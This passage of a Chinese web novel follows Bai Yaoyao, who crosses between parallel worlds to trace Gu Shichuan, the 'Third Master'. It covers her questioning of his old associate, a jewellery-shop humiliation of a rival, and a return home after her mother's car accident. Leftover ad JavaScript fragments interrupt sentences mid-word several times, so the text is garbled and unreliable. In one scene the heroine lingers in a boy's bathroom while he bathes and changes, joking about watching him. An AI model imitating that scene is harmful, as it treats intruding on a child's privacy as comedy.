不过起了玩心的人,还是在泳池里来回折腾了好几圈,以极优美的泳姿。 或许是太投入,又或许是某人的目光太隐晦了。 白幺幺没发现楼上窗户,有道视线正隔着玻璃注视着她。 过完游泳的瘾,白幺幺也没急着回屋,而是在泳池边的躺椅上躺着晒太阳。 原本她是想在这个世界多待几天的,不过现在得到太多有用线索,她有点迫不及待的想回去查查。 做了半个多小时的日光浴,白幺幺起身回屋里找人去了。 要离开了,总要和人道个别。 按两个世界时间流速的不同,说不定她下次再过来又是好几个月后了。 白幺幺先去卧室,看见没人,转向书房,然而书房也没人。 她心里疑惑,开始在屋里找起人来。 最后不是她自己找到的人,而是被动找到的人。 白幺幺坐在车里,好奇这孩子要去哪里? 她心里想着要不再多留在这个世界玩会,跟着小大佬出去见见世面。 最后白幺幺还是决定先回去,其他的事情来日方长。 这次顾石川上车后没有闭目养神,而是拿着一本书在看。 白幺幺同志就是被对方这一行为刺激到的。 人家小小年纪就如此努力,在车上都不忘争分夺秒的给自己充电。 而她,嗯,也要努力赶紧完成原主心愿,找到那个人。 “小石,我要暂时离开一段时间,希望下次见面,你能长胖些。” “男孩子,不需要减肥的,吃饭不能挑食,要多多吃饭,努力长高高,长壮壮……” 离开前,白幺幺还是忍住絮絮叨叨了好一会儿。 没办法,谁不喜欢看美好的事物,而好看的脸再配上一副好身材,不更完美。 白幺幺说离开,就真原地离开了,不需要回到那个茅草屋才能回去。 玉佩自从让她使用后,各种的状况都和原世界中女主用的时候大相径庭。 白幺幺同志已经渐渐习惯,也接受良好了。 回到酒店房间,白幺幺第一时间从行李箱中拿出笔记本电脑来。 “顾石川,三爷。” 真的很好奇你长大后是怎样的一个人,现在又还……活着吗? 原以为不说满载而归,起码也能查出点东西来。 没成想几个小时过去了,还是毫无收获。 白幺幺知道自己的水平跟行业大佬以及顶级黑客有差距,可依旧是像上次那样毫无收获,那真的是有点说不过去了。 白 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 幺幺皱眉,视线从电脑屏幕上移开。 一次,或许有很多种可能,毕竟她也只有对方的画像。 可是,第二次还这样。 白幺幺只想到了两种可能。 一种是对方是比她还厉害的电脑高手,或者身边有这样的人,另一种就是国家出手的。 白幺幺抬手虚掩着嘴打了个哈欠,不行,还是先睡觉吧。 靠网上这条路找人行不通,不是还有另一条路吗? 别忘了,她可是在另一个平行世界见到了年轻版顾远山。 网上查不到东西,或许从他那边可以得到些有用的信息。 看来明天很有必要再去男主家拜访下了。 白幺幺以前向来睡眠质量嘎嘎好,基本是一夜无梦,即使做梦那也是美梦。 可是今晚,白幺幺睡得很不踏实,一直在做梦,但 肯定不是什么美梦。 翌日清晨醒来后,她使劲想都想不起昨晚做了什么梦,人的状态也有点差。 决定今天再去顾家,白幺幺洗漱后下楼吃完早餐就出发。 到了小区门口,白幺幺才给顾老爷子打电话。 电话挂断没多久,就有人出来接她,没想到来的人是那个陈妈。 陈妈出来接人,当然知道了白幺幺的身份。 怎么说,小少爷是她看着长大的,说当成半个儿子,有点脸大了。 但好歹是自己带大的孩子,她怎么可能没感情,当然也希望他能越来越好。 比起白幺幺这个突然冒出来的,还只是个没背景的乡下丫头,她当然更希望小少爷娶颜小姐,也更看好颜小姐。 当然,陈妈是个聪明的,心中有这种想法,面上却不显。 接到白幺幺后,全程态度都很好,让人挑不出毛病来。 陈妈出去接人时,顾老爷子就在客厅等着了。 白幺幺一进来,顾老爷子就赶忙招呼人坐下,然后询问想她喝什么,让人准备。 顾老爷子人虽老了,那眼神还是相当利索的。 “幺幺,昨晚在酒店没休息好吗?你什么时候回去?要不晚上在顾爷爷这边住下?” 第127章 大佬的舔狗青梅之错位时空的爱恋(14) 白幺幺想摇头,可是她的脸色摆在那,一点说服力都没有。 “是,是有点没睡好。” 坦然承认后,白幺幺解释道:“顾爷爷,我就是平时比较少在外面睡,多睡几次习惯了就好。” 白幺幺的言外之意是和睡不睡酒店真的没关系。 顾老爷子懂的,有婚约在是没错,可毕竟两边差不多十七年没联系。 可以说,很陌生。 他出于对小姑娘的关心,提议让人来家里住,可是小姑娘必然考虑更多,拒绝也是理所应当。 所以在小姑娘变相拒绝他邀请后,顾老爷子便没有继续坚持,尊重小姑娘的意思。 “那既然现在过来了,中午就留下来吃饭,等下我打电话让阿尧那臭小子也回来,你们正式见下面。” 白幺幺:“……” 她今天才不是来见男主的。 白幺幺直接避开这个话题,说正事。 “那个,顾爷爷,我早上冒昧过来打扰,是想向你打听个人。” 白幺幺说完,神色颇为紧张,一点是怕被拒绝,一点则是觉得自己这行为很唐突, 或许是有救命恩人女儿这层身份的滤镜在,顾老爷子倒是觉得小姑娘坦率直白好懂,他喜欢。 总比那些明明是上门来求他办事,却总是要扯七扯八的,兜一大圈才谈到正题上。 当然,也或许是人老成精。 啥人啥事哪怕一眼看不明白,多看两眼也明白了,反正他现在更喜欢这种打直球的。 “这有什么,丫头你别顾虑那么多,平时遇到什么麻烦,尽管来找你顾爷爷我,还有你想打听谁,现在说说看。” 白幺幺要的就是这个时候,她脸上神色虽还有点不好意思,但眼神亮了亮。 像是在顾老爷子目光鼓励下,她语带迟疑的说道:“顾爷爷,我只知道他叫顾石川,很多人都喊他三爷。” 白幺幺故意在“三爷”两个字上加重了语气,还拉长了音。 说话的时候,她视线紧紧盯着顾老爷子的眼睛,不错过他的任何一丝神色变化。 果然,没让她失望。 即使是顾老爷子这把年纪的人,在大部分人看来算是修炼到家了。 刚刚,老爷子是控制住了面部表情,可眼睛是心灵窗口,最骗不了人的。 “顾爷爷?” 白幺幺一副不知自己抛出了一颗怎样威力的炸弹的懵懂模样。 顾老爷子收敛眸中神色,找补道:“丫头,不好意思,爷爷刚刚想到了个故人,所以有点失神了。” 白幺幺佯装不解,顺势问道:“顾爷爷的故人也叫顾石川吗?这么巧,那会不会我想打听的人就是顾爷爷的故人?” 呵呵,可不是这么巧! 顾老爷子毕竟是顾老爷子,怎么可能几句话就被白幺幺带着走。 “哈哈哈” 他先是发出一阵爽朗的笑声,才说道:“丫头,世上哪有那么巧的事,还有我的故人他不叫顾石川。” 顾老爷子像是很随意的问道:“丫头,你是怎么知道这个叫顾石川的?还有为什么打听他?想打听他什么事?” 白幺幺想也不想回道:“顾爷爷,我这次之所以过来想退掉婚事,是因为我……我心有所属了。” 白幺幺娇羞的低了低头,不给顾老爷子插话的机会,继续接着说。 “顾爷爷,你肯定懂我的吧!救命之恩无以为报,只能以身相许了,所以我想嫁给顾石川……” ……他小儿子或者孙子! 将问题抛出后,顾老爷子端起面前的茶杯开始喝,然后就悲剧了。 “噗!” “咳……咳咳……咳咳咳……” 年纪大的人真真经不起刺激,顾老爷子这一咳就没完没了,停不下来了。 白幺幺在旁边瞧着是一点也不心虚,只能说对方太着急反应了,都没听她把话说完。 但是该做做样子的还是要做的。 白幺幺像是被顾老爷子的反应吓到了,忙有些惊慌担忧的起身,想过去给人拍拍背,顺顺气。 不过有人的动作比她更快。 颜晞月踩着高跟鞋以百米冲刺的速度出现在顾老爷子身旁,忙伸手给人拍起后背来。 “顾爷爷,怎么样?有没有觉得好点?要不要让陈妈打电话把家庭医生叫过 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来给你瞧瞧?” 颜晞月是等老爷子咳嗽渐渐平息才开口问的,不过那眼睛从进来后开始不知瞪了白幺幺几回了。 她现在会出现在这里肯定不是什么巧合,而是知道白幺幺来了,特意跑过来的。 而白幺幺最后说的那番让老爷子反应如此大的话,她当然是听到了。 也是因为听到了,她才只是朝白幺幺瞪眼,不然哪里只是瞪眼这么简单。 哼,心有所属早说嘛。 不过真是个没眼光的乡下丫头,仅仅一个救命之恩就把心交付,什么样的救命恩人能和阿尧哥哥比。 简直愚蠢至极,不就是个救命之恩,随便给点钱打发了就是。 还以身相许,这是什么旧社会的愚昧思想啊! 突然这么一咳,还咳得如此猛烈,顾老 爷子真真觉得咳掉半条命了。 慢慢缓过来后,他对着颜晞月轻轻摇头。 “颜丫头,不用,不用喊医生过来,老头子我就是刚刚被茶水呛到了,现在已经没事了。” 此时顾老爷子心中有很多问题想问白幺幺,只是颜晞月突然到来,让他不好开口了。 因着昨天的事,颜晞月心中对顾老爷子已经生了嫌隙。 但为了阿尧哥哥,她还是如以往那般,继续捧着人,讨好着人。 等顾老爷子彻底不再咳嗽后,她忙去倒了杯温水,“顾爷爷,喝点温水润润嗓子。” 顾老爷子接过水杯,没有马上喝,而是轻轻拍了拍颜晞月胳膊。 “颜丫头,还是你最贴心,这辈子没个像你这么贴心的孙女,挺遗憾的,真羡慕老颜哟。” 颜晞月很勉强的挤出抹笑来,“顾爷爷您说笑了,还有您就别再打趣我了。” 说完,她害羞的低了低头,眸中闪过怨毒之色。 这老不死的,刚刚那话是什么意思? 想要她这样的孙女,那不简单,让阿尧哥哥娶了她,孙女变孙媳,不是更好。 顾老爷子:“……” 唉,算了,这孩子们感情的事,他不掺和了。 婚约的事,也看两个孩子自己的意愿,他也不坚持了。 第128章 大佬的舔狗青梅之错位时空的爱恋(15) 经过刚刚那惊心动魄的一咳,以及颜晞月的插入,顾老爷子一时没有继续刚刚话题的心思了。 他轻抿了两口温水,而后放下杯子,看向白幺幺。 “丫头,老头子我突然想起有点急事要去书房处理下,你和颜丫头年纪相仿,就让她带着你去四处逛逛。” 顾老爷子停顿了下,“关于你要打听人这事,我们等下午找个时间再详谈下。” 说完他又侧头看向身旁的颜晞月。 “颜丫头,老头子我就把人交给你了,不过等吃午饭的时候你必须把人带回来,还有你中午也一起在这边吃吧。” 这种时候,顾老爷子直接当了个一言堂的大家长,就这么将事情安排好。 颜晞月心里不情愿,面上却笑着应下。 “顾爷爷您去忙吧,把人交给我,您放一百个心。” 白幺幺:“……” 谁来问问她意见呀! 顾老爷子说有急事,那离开的背影,瞧着就像有这么回事。 客厅里只剩下白幺幺和颜晞月,两人相对无言。 就算是知道白幺幺已经心有所属,可是她和阿尧哥哥的婚约不还没退掉,颜晞月就是没法对人和颜悦色。 至于白幺幺,秉着敌不动我不动的原则,就是低头看脚尖不去看女主。 她这行为可把颜晞月的脾气勾出来了。 女人就是很奇怪,很矛盾的生物。 没见到人时,颜晞月是希望顾老爷子给阿尧哥哥定的对象是个样样不如她,上不了台面的。 可是见到人后,也的确和她希望的一样,但她心中仍旧很不舒服。 “喂。”颜晞月出声喊道。 白幺幺:……真没礼貌! 白幺幺继续看脚尖,有点犯困了。 颜晞月皱眉,“喂,我在喊你呢?” 白幺幺:……谁知道你在喊谁呢? 颜晞月瞧着依旧低头,没给她回应的人,咬了咬牙。 “那个,你是叫白幺幺吗?我在和你说话了,你是不是有点耳背,没听到吗?” 白幺幺抬头,眼里尽是茫然与无辜。 “你刚刚在叫我吗?可是你没喊我名字,所以我不知道你是在叫我。” 颜晞月:“……” 原以为对方会立马认识到错误,诚惶诚恐的向她道歉,没成想对方如此白目,没情商。 颜晞月瞪了人一眼,跳过这个话题。 “顾爷爷有事先去忙,让我招待你,这样吧,我们小区环境挺不错的,我带你出去逛逛。” 白幺幺咬着唇摇头,“那个,颜小姐,外面太阳有点晒,我不想出去,会晒黑的。” 颜晞月:“……” 对方没这么说,她还真没注意到一个乡下丫头的皮肤,竟然比她这个娇养长大的富家小姐还白。 而且对方怎么敢,怎么敢如此直接直白的拒绝她的提议! 还有,又是那种理直气壮的无辜眼神! 颜晞月快气死了,除了阿尧哥哥,还没有人这样拂过她面子。 她咬了咬牙,“那你有什么想逛,想玩的吗?” 白幺幺同志咬着唇认真思考起来。 …… 顾老爷子回到书房后,立马将门关严实,还不放心的检查一遍。 他来到办公桌后面坐下,皱着眉思索起来。 快十七年没联系的人突然找来,他一下子真真是被激动喜悦冲昏了头。 只是看了定亲玉佩,以及对方隐隐与故人相似的脸,就没有任何怀疑,竟都没私下让人去稍微查下。 现在的关键是,要确定人是不是冲着三爷来的。 一个才多大的小丫头,也想打听三爷的事,还……想嫁给三爷!! 顾远山觉得这是他这辈子听过最不知天高地厚的话,也是最大的笑话了。 救命之恩? 三爷救了她? 顾远山皱眉想象那个画面…… 然后,根本完全想象不出来。 好歹是自己救命恩人的女儿,就是不知道确有其事,还是人已经被有心人收买控制。 不然一个那样背景的十九岁小姑娘上哪去知道三爷的名讳,还知道跑到他面前来打听。 …… 顾远山心中开始各种阴谋论。 没办法,事关三爷的,由不得他不慎重再慎重。 时间一分一秒的过去。 顾远山抬头视线不经意扫过墙上的钟表,才发现在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他已经在书房坐了快一小时了。 半个小时前,他已经让人去查这个突然找来的恩人女儿。 结果肯定没能那么快拿到,顾远山也不是在急着等结果。 他现在还杵在书房里,是在纠结另一件事。 已经在有意识戒烟,也有一周没抽了,可此刻,顾远山还是没忍住从抽屉里找出烟来。 点燃一根,狠狠吸了一口。 时间依旧一分一秒的过着,不知不自觉的顾远山发现自己已经抽了两根烟。 正准备拿第三根的手顿住了,迟疑了下,还是将烟盒收回抽屉里。 他仰头望着头顶的灯好一会儿,才似是做下了个决定。 可当手机拿手上后,又没动作了。 也不知道盯着手机屏幕看了多久,顾远山才按下一串号码拨了出去。 等待电话接通短短几秒,顾远山的心是悬着的。 电话响到第五声被接起时,顾远山的心还是悬着的。 “有事?” 电话那头声音微冷,很公式化。 顾远山嗫嚅了下唇,说:“我想找下三爷。” 电话那头沉默了几秒,才回道:“行,我帮你传达下,不过三爷很忙,不一定有空接你电话。” 尽管知道对方看不到,顾远山还是下意识点头。 “我知道的,主要是遇到点关于三爷事,我这边又拿不准,需要亲自和三爷说下。” “嗯,等着。” 时间一分一秒的过去,顾远山也一秒一秒的数着时间等待。 听到有脚步声传来,顾远山握着手机的手紧了紧。 很快他听到有人拿起了听筒,顾远山忙试探喊了声,“三爷?” “嗯。” 得到确认,顾远山开始将早就在脑中斟酌好几遍的话说了出来。 电话那头的人静静听着,期间没有打断过他。 等顾远山说完后,才听电话那头有声音传来。 “她说想嫁给我?” 一紧张就想抬手抹额头根本不存在虚汗的顾远山:“……” 爷,我的三爷,关键是这个吗? 关键是……关键是…… 顾远山一时也卡壳了。 第129章 大佬的舔狗青梅之错位时空的爱恋(16) 电话那头还沉默着等他回答,顾远山有些结结巴巴的道:“是……是的吧……她……她……说救命之恩……无以为报……只能以身相许。” 顾远山那个心啊,七上八下的。 难道所谓的救命之恩是真的? 电话那头又沉默了好几秒,最后才传来一句,“我知道了。” 顾远山:……然后呢? 顾远山想了想还是问道:“那个,三爷,我这边要怎么处理?” 怕人可能不理解他的意思,顾远山又加了句。 “就是,小姑娘不是向我打听你吗?我要如何回复她?” “把我的联系方式给她。” 顾远山:“???” 他眨了眨眼睛,想伸手掏耳朵,确认自己有没有幻听了。 迟迟没得到他的回应,电话那头传来了低沉的一声“嗯?” 顾远山恍然回神,赶紧回道:“好的,三爷。” 通话就此结束,顾远山的心却更不平静了。 所以,那小丫头真的见过三爷! 还有三爷是什么意思,难道真的铁树开花了? 今儿这第三根烟果然是逃脱不掉被抽的命运。 …… “怎么样?这种地方,你之前没来过吧!” 颜晞月走在前面,说话时也没转头看人,只留给人一个后脑勺。 对于这么没礼貌的行为,白幺幺当然是直接无视。 迟迟没得到回复,颜晞月回头看去,以为会看到对方自卑羞窘的模样。 然而,不仅没有,还看到人已经自个儿走进一家高奢品牌珠宝店。 颜晞月:“……” 这是傻人无所畏惧吗? 果然是乡下来的,没点自知之明太可怕了。 也不看看那家珠宝店最便宜一件小首饰都要上万块,自己有钱买吗?就敢凑过去看,真是…… 颜晞月皱眉,有点嫌弃丢人,都不想过去了。 她承认,对方想了好一会儿,提出想到商场逛逛,给家人买礼物,然后她就是故意带人来商场的这一楼。 人与人的差距,从出生开始就定好了。 有的人平时连件衣服都舍不得买,一两百元的衣服更是嫌贵。 而有的人,平时根本不用自己出来买衣服,各大高奢品牌的衣服会将当季新款送上门来给她挑选,上万元的衣服对她来说都嫌便宜。 品牌不品牌的,白幺幺没看这些,她只是路过这家店,不经意扫到靠近走道玻璃展柜中的一块玉石坠子。 只一眼,白幺幺就觉得很适合白母。 看了眼价格,二十八万多,她手头上的钱暂时不够,不禁有点小遗憾。 尽管再不想走过来找人,颜晞月还是不得不过来。 没办法,顾爷爷交代的事,还有等下谁知道这乡下丫头会不会颠倒黑白的在顾爷爷面前搬弄是非。 颜晞月走到白幺幺身边时,她正有点遗憾的准备移开视线。 “喜欢这吊坠?钱不够的话,看在顾爷爷的面子上,我可以买送给你的!” 颜晞月说话的声音有点大,不仅店员,连路过的行人都下意识看过来。 白幺幺抬头,眼眸亮了亮。 “好啊,让你破费了。” 花女主的钱,白幺幺一点没觉得不好意思。 至于女主那点小心思,呵呵,不痛不痒的,最后她还占了便宜。 有种赔了夫人又折兵感觉的颜晞月:“……” 一口气卡在喉间,不上不下的。 她是这个意思吗? 不,她就是想羞辱人,想让人在大庭广众下难堪。 快三十万的东西,是个人都不好意思要吧! 白幺幺若是知道女主此时的心理活动,一定会呵呵两声。 在女主愣神的功夫,白幺幺又选了一个三十几万的玉镯,让店员将两样东西都包起来。 店员是认识颜晞月的,不确定白幺幺和颜晞月是什么关系,不过颜晞月刚刚说的话她们都听到了。 见店员将东西包好后,白幺幺才转头催促女主付钱。 “你说要送我的,不会是想反悔了吧!还是你和我一样也没带够钱?” 有种被架在火上烤的颜晞月:“……” 谁他妈的和你一样没带够钱? 还有你确定你是没带够钱,而不是根本就凑不出那么多钱! 好些人看着,乡下人不要脸面,她颜氏千金可不能不要。 颜晞月从包里掏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 出一张卡来递给店员,语气淡淡的说道:“刷吧!” 店员恭敬的接过卡,在机子上一阵操作,很快就将卡归还给颜晞月。 “颜小姐,总共六十三万一千九百九十元,给您抹去零头,共收您六十三万整,这是您的卡,请收好。” 什么?六十三万? 颜晞月差点就要惊呼出声,她捏着卡的指尖发力,有种要把卡捏碎的趋势。 瞧着白幺幺眉开眼笑的从店员手中接过两个小袋子,颜晞月眸底燃起熊熊烈火。 要不是还顾虑还在外面,她已经当场发飙了。 不就是六十三万,她真的不是心疼钱。 只是,对方怎么敢,怎么敢那么不要脸的接受她六十三万的“馈赠”。 瞧见女主脸色似乎有点不对劲,白幺幺同志眨巴眨巴着无辜大眼睛,疑惑出声。 “你怎么呢?是不是心疼刚刚花出去的钱,后悔送我这两样东西呢?” 颜晞月:“……” 后悔,后悔得肠子都青了。 还有,她刚刚明明说的是送那个吊坠,哪里来的两样东西!! “没有。” 颜晞月从牙缝中挤出两个字来。 白幺幺咧嘴笑了笑,不吝啬夸赞道:“那你真大方!” 感觉胸口中了一箭的颜晞月:“……” “我还有几样东西想买,要不你也一起送我吧!” 白幺幺一派纯真的说道,仿佛在说什么吃饭喝水的事般,一点没有自己这样说有什么错的自觉。 还让她送? 这乡下丫头简直太贪得无厌了。 颜晞月有点后悔带人来这里,不仅没羞辱到人,还搬起石头砸自己的脚。 “这个,我突然想起有点事,要不我们下回再来逛吧!” 颜晞月真不是心疼钱,而是给某些人花钱,会让她心梗难受。 白幺幺像是恍然大悟般说:“你是不是没钱了,怕我误会你小气,所以扯出突然有事这样的借口。” 白幺幺说完,做出一副“我懂我懂的,也理解”的小表情。 “没钱不丢脸的,打肿脸充胖子才丢脸的。” 周围人投来异样的目光,让颜晞月很想扑上去撕了白幺幺的嘴。 第130章 大佬的舔狗青梅之错位时空的爱恋(17) 颜晞月咬着牙从齿缝中挤出话来,“我是真的有事,还有我有钱,打肿脸充胖子这种事永远不会发生在我身上。” 难道这就是所谓的秀才遇上兵吗? 果然不是一个世界的人,别说生活在一起,连最简单交流都成困难。 真难以想象阿尧哥哥未来要是和这样的人一起生活,应该会跟生活在地狱中那般痛苦煎熬吧! 反正就算她最后得不到阿尧哥哥,也不可能眼睁睁看着他后半生陷入无边地狱。 再说了,阿尧哥哥只能是她的。 “哦。” 白幺幺不轻不重的哦了声,一副你说什么就是什么,没事的,我都懂的表情。 颜晞月:“……” 就在她想丢下人直接走人时,对方手机响了。 白幺幺拿出手机一看,白母打来的。 她抬眸扫了女主一眼,还是直接接起来了。 原以为电话接通会听到白母的声音,想着对方应该是打来关心她在外面有没有照顾好自己,或许还会关心她钱真的够用吗? 只是白幺幺猜错了,电话那头传来的是道陌生声音,有点着急。 三言两语的,白幺幺就听明白了。 白母早上在去厂里的路上发生车祸,现在在医院里,电话那头说话的人是白母的工友。 白母自己是不想打这通电话的,她觉得自己没什么大碍,医生已经给她处理好伤口,等下回家养养就好。 就是伤到了手腕,近几天肯定没办法去厂里上工。 而这种小事一个人就能应付,觉得没必要打这个电话,让她担心的。 白母的工友兼好友,始终觉得不妥的,拿过白母的手机,直接帮她给白幺幺打了这通电话。 白母一个单亲妈妈自己拉扯大原主,是个性格要强的女人。 大多父母对孩子都是报喜不报忧的,一些事情为了不让孩子担心,都是尽量往轻的说。 白幺幺在电话里拜托白母的工友先帮忙照顾下人,她马上订票回去。 颜晞月在旁边听了全程,心里简直不要太舒畅了。 哈哈,让你个不要脸的乡下丫头占我便宜。 瞧,连老天爷都看不下去了。 一辈子穷酸命,还想戴好几十万的首饰,也不先掂量掂量有那个福气消受吗! 哼,女儿如此没教养,如此贪得无厌,当妈的肯定也不是什么好东西。 最好那个什么车祸直接让人躺床上一辈子吧! 挂了电话,白幺幺第一时间网上订机票。 订完机票才有空斜睨了眼女主,瞅见她那副幸灾乐祸的表情,白幺幺眼眸微眯了下。 她直接佯装很惊慌从女主身边跑过,然后胳膊肘很不经意的狠狠撞了女主一下,脚更是很不小心的重重踩了女主一下。 能有什么办法,她是个顶有孝心的女儿,听到亲妈出车祸,人着急忙慌,也就笨手笨脚的,女主肯定能理解的吧! 白幺幺最后踩那一下,是用了劲的,就算没能把人脚趾骨踩断,也够人受一段时间罪。 没办法,白母这个妈妈她很喜欢。 女主刚刚那表情,看着就是很欠打。 “那个,颜小姐,我妈出车祸了,情况不明,我,我得赶紧回去,顾爷爷那边你帮我和她说下。” 白幺幺声音和女主杀猪般的尖叫同时响起。 颜晞月上下连续遭受突袭,疼痛感让她的脸一下子又青又白,身体更是重心不稳的重重摔到地上。 变故来得如此之快,还是认识她的店员最先反应过来,忙跑过来扶她。 绷不住了! 颜晞月彻底绷不住了,哇的一声哭了出来。 …… 白幺幺快速回酒店收拾好行李,然后直接打车去机场。 至于女主那边是什么一副情况,会不会发疯,谁管她了。 紧赶慢赶的,白幺幺在晚上饭点的时候回到了家。 白母伤的不重,不需要住院,中午就回家了。 白幺幺还没到家的这段时间里,也幸好有那个打电话给她的工友帮忙照顾下白母。 白幺幺一到家,就拉着白母上上下下,仔仔细细的一通检查。 医院的报告她看了,不过还是觉得自己再亲自查看一番,比较放心。 幸好双方速度都不快, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 白母连人带车摔倒后,才只是脚上和手上几处擦伤,左手手腕扭到肿起来。 工厂那边白幺幺让她请假,趁着这回好好休息下。 晚上给白母换完药后,白幺幺被白母“嫌弃”赶回自己房间了。 回到房间,她才有空整理带回来的行李。 见到行李中坑女主钱买来的首饰,白幺幺想了想,还是明天再拿给白母吧。 整理好行李,也洗漱完后,白幺幺同志躺在床上有点睡不着。 想了想,白幺幺决定再去另一个世界看看。 反正两边不一样的时间流速,她去个一小时回来,一点不耽误她休息。 “小石,我又来了,意不意外,惊不惊喜……” 白幺幺的人和声是同时到,然后浴缸里的两人四目相对,大眼瞪小眼。 顾石川条件反射的扯过旁边的浴巾盖住关键部位。 白幺幺:“……” 她下意识的撇了撇嘴,“哼,不就是豆芽菜,又没啥看头,根本没遮的必要好不,而且……” 白幺幺:……等等,好像有什么不对?! 她抬起手,不可置信的指着对面坐在浴缸中的人。 “你……你……你看得到我!!!” 顾石川面无表情的轻“嗯”了声。 “你,你怎么可能看得到我,不科学呀!” 白幺幺同志一副天塌了的表情。 顾石川:……科学?她自己的存在不就是最大的不科学吗? “既然看得到我,那你怎么不早说。” 白幺幺同志直接倒打一耙起来,欺负小孩子啥的,她是完全没负罪感。 顾石川沉默了下,给了一个让白幺幺想吐血的回答。 “你没问。” 白幺幺:“!!!” 该死的有道理,她当时怎么就没问下呢? 啊,不对。 不应该是对方能看到她,却从头至尾表现得如此平静淡定比较不正常吗? 冷静下来后,白幺幺也一下子回忆起很多细节来。 ……所以那时,并不是忘记关书房的门,而是特意给她留门。 第131章 大佬的舔狗青梅之错位时空的爱恋(18) 想明白后,白幺幺龇着牙笑得一脸灿烂。 “小石,你既然看得到,又为什么要假装看不到我,你这样的行为可不是个诚实的孩子会做出来的哦,所以呀!” 白幺幺脸上的笑意秒变狰狞骇人,同时将魔爪伸向……小孩没啥肉感的脸。 顾石川动了动唇想解释,可是女人的手已经向他袭来,他条件反射的一手护住胸前,一手压在浴巾上。 就这样眼睁睁的看着女人的手快速靠近他的脸,而后咬牙切齿的做出扯他脸的动作。 白幺幺原本就是想象征性的小惩大诫,而且哪怕小惩也不是什么实质性的,毕竟她又碰不到人。 可是,小屁孩那是什么反应??? 饶是白幺幺这种已经是脸皮比城墙厚的,都有那么一瞬间的尴尬,嘴角更是不自觉的抽了抽。 然后,她就化尴尬为……恶趣味…… 对着人的脸又恶狠狠蹂躏了两下,白幺幺同志直接转移阵地,嘴上也开始各种跑火车。 “小石,你知道我是谁吗?” 顾石川微挑了下眉,似是认真思考后才回答。 “鬼……难道不是吗?” 白幺幺:没想到小孩是把她当成鬼了,稍一思索,也的确挺像那么回事的。 不过这孩子真是聪明,末了不忘补上一句,还想套她的话了。 想到两个世界的时间差,以及未来玉佩的能量耗尽,她将不能再穿越。 就是不知道到时那个世界顾石川是否也会像男主那般,融合这个世界的记忆。 想到这种可能,白幺幺同志不免想起自己之前以为没人看得到她,就有点放飞自我的行为。 妥妥的黑历史呀! 既然人家误会她是鬼,那她否认个什么劲,直接认下就得了。 届时,哪怕那个世界的顾石川真的融合了这个世界的这部分记忆,嘿嘿,也只会以为自己遇见了只鬼,最后那只鬼消失投胎去了。 很完美啊,白幺幺后知后觉的发现这玉佩区别待遇得好呀! 白幺幺压低声音,故做凶狠的张牙舞爪起来。 “既然知道我是鬼,小石你不害怕吗?实话告诉你吧,其实我是只食人的恶鬼,我自己都已经不记得在这人间游荡多久了,平时最爱吃的就是你这种长得好看的男孩子。” 顾石川:“……” 他表情依旧没变化,护着胸和压着浴巾的手也垂落在身侧,毕竟这样的动作多余还没意义。 “你不信?” 刚上任的白幺幺恶鬼觉得有被挑衅到,可是,她又干不了什么,只能继续胡编乱造的找补。 “你现在不信也是情有可原,谁让我前段时间与一只色鬼大战了三百回合,最后那色鬼被我灭了,可我也因此鬼力大减。” 瞧着人听得认真,白幺幺冷傲的抬了抬下巴,哼哼道:“等着吧,过段时日,待我鬼力恢复后,就让你见识见识我的厉害。” 再聪慧早熟的孩子,那也是孩子,白幺幺觉得自己这样应该是把人忽悠住了。 可是瞧着人一脸平静,脸上未出现半丝害怕恐惧之色,白幺幺真的有那么一丢丢挫败感。 但也仅有那么一丢丢,还来得快,去得快。 算了,不纠结了,眼前这个本来就不是什么一般小孩。 “我能知道的你名字吗?” 顾石川突然出声。 “当然可以,本恶鬼,生不改名,死不改姓,白……白大大是也!” 顾石川是个寡言的,可声音是真的很好听,像有魔力般,白幺幺差点就报出自己的真实名字。 也幸好她反应及时,脑子也转的快。 “白……大大?” 顾石川眉梢微挑了下,不是很相信的意思表露在脸上。 白幺幺是谁,这种时候不飚演技,还等什么时候。 她洋洋得意的挑了挑眉眼,说话的口吻是满满的炫耀。 “怎么样,是不是很好听,很帅气,很有逼格,这名字我可是要用到从这个世界消失的那天。” 顾石川:“……嗯。” 白幺幺伸手在人头上撸了把,“你这孩子,话怎么那么少,少年老成不是坏事,但是小孩子偶尔还是要有小孩子的样子。” 顾石川本想,也能躲开脑袋的,不过最后他没有动。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 躲开与不躲开,似乎意义不大,毕竟对方并不能真正触碰到他。 而且,他要是躲开了,对方应该会感觉到尴尬,失望吧。 但他还是解释道:“我不是小孩!” 在这一件事上,他下意识不想骗人。 至于对方信不信,顾石川藏在水底手悄然收紧,眸底极快的划过一抹复杂。 “是是是,你不是小孩,你是大孩了。” 白幺幺能不懂小孩的这种心理。 顾石川动了动唇,最后才说道:“你能先出去下吗?” 白幺幺秒懂。 “你泡完澡要穿衣服啦,其实我可以不用出去的,毕竟我只是一只鬼,你要学会习惯。” “目前你也仅仅是那么恰好能看见我这只鬼,你要想呀,以前你连我这只鬼都看不到的情况下,每次洗 澡时,旁边可能就有很多只鬼在欣赏着,而你根本发现不了,该怎么来还不是怎么来。” 白幺幺同志一副色鬼附身的模样,“所以啊,你继续你的,直接当我不存在吧!” 白幺幺当然是瞎说一通的,可是说完她竟然暗暗在心里点头,觉得该死的有道理。 顾石川:“……” 拿人,顾石川有上百种方法。 可是拿鬼,他似乎完全没法子,至少暂时没有。 仅迟疑了一秒,顾石川用浴巾裹住下半身,而后从浴缸里站起来。 白幺幺以为小孩会急红了眼无声求她,然后…… 出去是不可能出去的,一点也不符合她的恶鬼鬼设。 在小孩哀求的目光下,她才善心大发的闭上眼睛不看就是了。 没成想,原本还防她跟防什么似的人,真的就当着她的面换起衣服来。 